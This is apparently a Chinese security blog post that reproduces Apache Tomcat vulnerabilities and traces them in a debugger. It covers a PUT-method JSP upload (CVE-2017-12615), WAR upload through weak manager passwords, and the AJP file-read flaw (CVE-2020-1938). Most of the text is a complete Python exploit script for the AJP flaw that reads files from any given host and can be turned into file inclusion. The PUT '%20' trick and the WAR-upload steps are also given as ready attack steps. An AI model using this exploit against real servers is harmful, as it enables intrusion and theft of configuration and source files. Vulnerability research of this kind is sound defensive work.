tomcat历史漏洞复现

历史漏洞复现

CVE-2017-12615 (PUT 方法任意文件上传)

在tomcat的conf/web.xml里面有一个参数readonly 根据注释可以知道这个参数就是开启是否接受delete和put请求

false就等于允许

我们在DefaultServlet中添加这个参数

复现

本地启动tomcat 使用jpda这个javaagent 使得idea可以远程调试tomcat

catalina.bat jpda start

在idea中打断点

bp发包

可以看到idea停在断点上了

一开始就判断readonly的值 因为为false所以跳过

后续就是获取路径path 然后判断是否存在文件

获取请求输入流 在通过请求输入流获取到请求体

后面会进入到resources.bind(path, newResource)

这里就是sink点

跟进dirContext.bind()

继续跟进

来到FileDirContext的bind方法中

创建一个File对象 然后判断是否存在

继续跟进下面的rebind()

前面是一些判断语句

也是创建一个file对象 判断obj对象类型

因为obj对象是resource类 所以is获取obj的请求体数据

重点在后面

创建一个FileOutputStream os 然后将file对象传入FileOutputStream 中

用上面的输入流is读取数据

最后os在写入file对象中 此时文件就成功写入了

可以成功访问

在发送数据包的时候发的是

PUT /1.jsp%20

如果不加%20 他会使用jsp的Servlet 所以需要加入空格的url编码 使得是DefaultServlet去处理这个请求

修复建议

不要使用readonly参数 默认也没有使用

manager弱口令导致任意war包上传rce

在conf/tomcat-user.xml中 写入这些用户配置 即可打开/manager

如果在配置的时候 配置了弱密码就可能有rce风险

复现

输入账号密码

有一个可以上传war包的地方

上传war包

显示ok就可以了

访问http://127.0.0.1:8080/3/3.jsp

我们war包名为3 他就会在webapp里面创建一个3的目录夹 并且有3.jsp

CVE 2020-1938 (webapp/ROOT下的任意文件读取)

ajp协议是用于Web服务器与Servlet容器间的高效通信 ajp用来请求一些资源 并且传输二进制数据 效率比http协议高

一般情况下客户端没法直接使用ajp协议去访问tomcat 一般都是走http

ajp协议并没有做一些权限控制 导致只需要构造一些恶意的请求 tomcat就会返回数据

ajp协议在tomcat中默认启动在8009端口上

主要的触发方式是通过构造指定的数据包 触发指定资源的请求 依此读取文件

复现

使用exp脚本来触发漏洞

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
	if s is None:
		return struct.pack(">h", -1)
	l = len(s)
	return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
	size = struct.calcsize(fmt)
	buf = stream.read(size)
	return struct.unpack(fmt, buf)
def unpack_string(stream):
	size, = unpack(stream, ">h")
	if size == -1: # null string
		return None
	res, = unpack(stream, "%ds" % size)
	stream.read(1) # \0
	return res
class NotFoundException(Exception):
	pass
class AjpBodyRequest(object):
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	MAX_REQUEST_LENGTH = 8186
	def __init__(self, data_stream, data_len, data_direction=None):
		self.data_stream = data_stream
		self.data_len = data_len
		self.data_direction = data_direction
	def serialize(self):
		data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
		if len(data) == 0:
			return struct.pack(">bbH", 0x12, 0x34, 0x00)
		else:
			res = struct.pack(">H", len(data))
			res += data
		if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbH", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbH", 0x41, 0x42, len(res))
		return header + res
	def send_and_receive(self, socket, stream):
		while True:
			data = self.serialize()
			socket.send(data)
			r = AjpResponse.receive(stream)
			while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
				r = AjpResponse.receive(stream)

			if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
				break
class AjpForwardRequest(object):
	_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
	REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	COMMON_HEADERS = ["SC_REQ_ACCEPT",
		"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
		"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
		"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
	]
	ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
	def __init__(self, data_direction=None):
		self.prefix_code = 0x02
		self.method = None
		self.protocol = None
		self.req_uri = None
		self.remote_addr = None
		self.remote_host = None
		self.server_name = None
		self.server_port = None
		self.is_ssl = None
		self.num_headers = None
		self.request_headers = None
		self.attributes = None
		self.data_direction = data_direction
	def pack_headers(self):
		self.num_headers = len(self.request_headers)
		res = ""
		res = struct.pack(">h", self.num_headers)
		for h_name in self.request_headers:
			if h_name.startswith("SC_REQ"):
				code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
				res += struct.pack("BB", 0xA0, code)
			else:
				res += pack_string(h_name)

			res += pack_string(self.request_headers[h_name])
		return res

	def pack_attributes(self):
		res = b""
		for attr in self.attributes:
			a_name = attr['name']
			code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
			res += struct.pack("b", code)
			if a_name == "req_attribute":
				aa_name, a_value = attr['value']
				res += pack_string(aa_name)
				res += pack_string(a_value)
			else:
				res += pack_string(attr['value'])
		res += struct.pack("B", 0xFF)
		return res
	def serialize(self):
		res = ""
		res = struct.pack("bb", self.prefix_code, self.method)
		res += pack_string(self.protocol)
		res += pack_string(self.req_uri)
		res += pack_string(self.remote_addr)
		res += pack_string(self.remote_host)
		res += pack_string(self.server_name)
		res += struct.pack(">h", self.server_port)
		res += struct.pack("?", self.is_ssl)
		res += self.pack_headers()
		res += self.pack_attributes()
		if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbh", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbh", 0x41, 0x42, len(res))
		return header + res
	def parse(self, raw_packet):
		stream = StringIO(raw_packet)
		self.magic1, self.magic2, data_len = unpack(stream, "bbH")
		self.prefix_code, self.method = unpack(stream, "bb")
		self.protocol = unpack_string(stream)
		self.req_uri = unpack_string(stream)
		self.remote_addr = unpack_string(stream)
		self.remote_host = unpack_string(stream)
		self.server_name = unpack_string(stream)
		self.server_port = unpack(stream, ">h")
		self.is_ssl = unpack(stream, "?")
		self.num_headers, = unpack(stream, ">H")
		self.request_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code > 0xA000:
				h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
			else:
				h_name = unpack(stream, "%ds" % code)
				stream.read(1) # \0
			h_value = unpack_string(stream)
			self.request_headers[h_name] = h_value
	def send_and_receive(self, socket, stream, save_cookies=False):
		res = []
		i = socket.sendall(self.serialize())
		if self.method == AjpForwardRequest.POST:
			return res

		r = AjpResponse.receive(stream)
		assert r.prefix_code == AjpResponse.SEND_HEADERS
		res.append(r)
		if save_cookies and 'Set-Cookie' in r.response_headers:
			self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

		# read body chunks and end response packets
		while True:
			r = AjpResponse.receive(stream)
			res.append(r)
			if r.prefix_code == AjpResponse.END_RESPONSE:
				break
			elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
				continue
			else:
				raise NotImplementedError
				break

		return res

class AjpResponse(object):
	_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
	COMMON_SEND_HEADERS = [
			"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
			"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
			]
	def parse(self, stream):
		# read headers
		self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

		if self.prefix_code == AjpResponse.SEND_HEADERS:
			self.parse_send_headers(stream)
		elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
			self.parse_send_body_chunk(stream)
		elif self.prefix_code == AjpResponse.END_RESPONSE:
			self.parse_end_response(stream)
		elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
			self.parse_get_body_chunk(stream)
		else:
			raise NotImplementedError

	def parse_send_headers(self, stream):
		self.http_status_code, = unpack(stream, ">H")
		self.http_status_msg = unpack_string(stream)
		self.num_headers, = unpack(stream, ">H")
		self.response_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code <= 0xA000: # custom header
				h_name, = unpack(stream, "%ds" % code)
				stream.read(1) # \0
				h_value = unpack_string(stream)
			else:
				h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
				h_value = unpack_string(stream)
			self.response_headers[h_name] = h_value

	def parse_send_body_chunk(self, stream):
		self.data_length, = unpack(stream, ">H")
		self.data = stream.read(self.data_length+1)

	def parse_end_response(self, stream):
		self.reuse, = unpack(stream, "b")

	def parse_get_body_chunk(self, stream):
		rlen, = unpack(stream, ">H")
		return rlen

	@staticmethod
	def receive(stream):
		r = AjpResponse()
		r.parse(stream)
		return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
	fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
	fr.method = method
	fr.protocol = "HTTP/1.1"
	fr.req_uri = req_uri
	fr.remote_addr = target_host
	fr.remote_host = None
	fr.server_name = target_host
	fr.server_port = 80
	fr.request_headers = {
		'SC_REQ_ACCEPT': 'text/html',
		'SC_REQ_CONNECTION': 'keep-alive',
		'SC_REQ_CONTENT_LENGTH': '0',
		'SC_REQ_HOST': target_host,
		'SC_REQ_USER_AGENT': 'Mozilla',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'en-US,en;q=0.5',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0'
	}
	fr.is_ssl = False
	fr.attributes = []
	return fr

class Tomcat(object):
	def __init__(self, target_host, target_port):
		self.target_host = target_host
		self.target_port = target_port

		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		self.socket.connect((target_host, target_port))
		self.stream = self.socket.makefile("rb", buffering=0)

	def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
		self.req_uri = req_uri
		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
		print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
		if user is not None and password is not None:
			self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
		for h in headers:
			self.forward_request.request_headers[h] = headers[h]
		for a in attributes:
			self.forward_request.attributes.append(a)
		responses = self.forward_request.send_and_receive(self.socket, self.stream)
		if len(responses) == 0:
			return None, None
		snd_hdrs_res = responses[0]
		data_res = responses[1:-1]
		if len(data_res) == 0:
			print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
		return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data.decode('utf-8') for d in data]))

继续远程调试tomcat

在AbstractAjpProcessor的prepareRequest()打断点

在这个request.setAttribute里面共设置了3个参数值

javax.servlet.include.request_uri /

javax.servlet.include.path_info WEB-INF/web.xml

javax.servlet.include.servlet_path /

这里设置3个参数值 使得后续tomcat会去请求响应相应资源并返回

此时request的参数已经设置好了

来到service这里 调用adapter的service

之后又会进入DefaultServlet的doGet处

跟进getRelativePath

根据之前的参数值 最终返回了请求路径/WEB-INF/web.xml

之后就是返回路径中的内容了

脚本里面请求路径改成/asdf.jsp即可实现文件包含 此时对应的Servlet就会是jspServlet去处理请求的资源 会解析文件内容为jsp

http的Process遇到/WEB-INF会自动检测到 如何不返回内容